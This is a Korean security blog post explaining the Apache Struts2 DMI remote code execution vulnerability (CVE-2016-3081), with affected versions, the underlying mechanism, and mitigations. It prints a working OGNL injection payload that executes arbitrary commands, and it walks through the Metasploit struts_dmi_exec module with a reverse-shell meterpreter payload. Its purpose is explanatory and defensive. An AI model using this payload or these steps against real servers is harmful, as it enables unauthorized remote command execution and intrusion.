[WEB HACKING] Apache Struts2 DMI REC(Remote Command Executeion) Vulnerability(CVE-2016-3081)
지난 CVE-2016-0785 취약점에 이어 CVE-2016-3081 Struts2 취약점에 대해 정리할까합니다. 일단 Struts2 취약점은 예전부터 아주 치명적인 취약점으로 알려졌었고, 최근에 또 줄줄이 나타나고 있습니다. 올 초부터 발생한 Sturts2 취약점들은 약간 비슷한 형태의 구성을 가지고 있습니다.
그 중 최근 이슈가 되었던 CVE-2016-3081 취약점에 대해 정리합니다.
Apache Struts2 DMI RCE Vulnerability
해당 취약점은 Struts2.3.20 ~ 2.3.28 중 2.3.20.3, 2.3.24.3 을 제외한 나머지 버전에 대해 공격이 가능한 취약점입니다. 해당 취약점을 통해 원격 명령 실행 및 Shell 을 획득할 수 있게 때문에 굉장히 영향력이 큰 공격입니다.
항상 이 공격을 수행할 수 있는것은 아닙니다. Sturts의 DMI가 활성화 되어 있어야합니다. 물론 2.3.15.2 이하 버전은 Default Option으로 활성화 되어 있기 때문에 구버전의 Struts를 사용하는 서버에게는 굉장한 위협이 됩니다.
Struts2 DMI REC(CVE-2016-3081) 원리 및 공격방법
문제가 된 Struts2 DMI는 !를 이용하여 다른 메소드를 호출할 수 있는 기능입니다. Dynamic Method Invocation의 약자이며 WebWork의 내장 기능이며 execute() 메소드 대신에 !를 사용하여 다른 메소드를 호출할 수 있습니다.
이 DMI는 보안적인 결함을 가지고 있어 Struts2에서 기본적으로 False 되도록 설정이 바뀌어 패치됩니다. 이 Method를 통해 넘긴 값이 DMI를 거쳐서 처리되게 되는데 여기서 Java 구문으로 흐름을 틀어 원하는 명령 수행이 가능하도록 할 수 있습니다.
htest.action?cmd=gedit&method:(%23_memberAccess).setExcludedClasses(@java.util.Collections@EMPTY_SET),(%23_memberAccess).setExcludedPackageNamePatterns(@java.util.Collections@EMPTY_SET),%23cmd%3d%23parameters.cmd,%23a%3dnew%20java.lang.ProcessBuilder(%23cmd).start().getInputStream(),new java.lang.String
위 공격코드를 보시면 method 파라미터를 통해 공격코드 값을 넘기게 됩니다. 여기서 memberAccess 이후 cmd 파라미터를 받은 값을 시스템 명령으로 넘기게 됩니다.
Metasploit 을 이용한 공격방법
역시 Rapid7은 빠르게 모듈을 만들었습니다. Struts2 취약점에 대해 바로 Module 을 만들었고, 현재 MSF를 통해 쉽게 사용하실 수 있습니다.
#> search struts
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/linux/http/struts_dmi_exec 2016-04-27 excellent Apache Struts Dynamic Method Invocation Remote Code Execution
exploit/multi/http/struts_code_exec 2010-07-13 good Apache Struts Remote Command Execution
exploit/multi/http/struts_code_exec_classloader 2014-03-06 manual Apache Struts ClassLoader Manipulation Remote Code Execution
위와 같이 search로 찾아보면 4/27일자로 dmi_exec가 업데이트된 것을 알 수 있습니다.
해당 모듈을 불러오고 options을 보면 아래와 같습니다.
#> use exploit/linux/http/struts_dmi_exec
hahwul exploit(struts_dmi_exec) #> show options
Module options (exploit/linux/http/struts_dmi_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 8080 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /blank-struts2/login.action yes The path to a struts application action
TMPPATH no Overwrite the temp path for the file upload. Needed if the home directory is not writable.
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp_uuid):
Name Current Setting Required Description
---- --------------- -------- -----------
DebugOptions 0 no Debugging options for POSIX meterpreter
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux Universal
다른 Exploit 과 유사하며 특별한 점이 없습니다. 간단하게 host와 port, uri 등을 넣고 exploit 해주시면 해당 URI에 대해 테스팅을 진행하고 지정한 Payload를 불러와 Shell 권한을 얻습니다.
대응방법
이런 프레임워크/어플리케이션에 대한 대응방법은 간단합니다. 바로 업데이트죠. 최신버전/미취약 버전으로 업데이트를 진행합니다.
The vendor has issued a fix (2.3.20.2, 2.3.24.2, 2.3.28.1).
허나 업데이트할 수 없는 상황이라면 아까 원리 부분에서 말씀드렸듯이 DMI를 해제해줍니다.
Struts2 설정 파일 내 struts.enable.DynamicMethodInvocation를 false로 변경하여 줍니다.
<constant name="struts.enable.DynamicMethodInvocation" value="false" />; =“struts.enable.dynamicmethodinvocation”>
Reference
http://blog.alyac.co.kr/611 http://www.securitytracker.com/id/1035665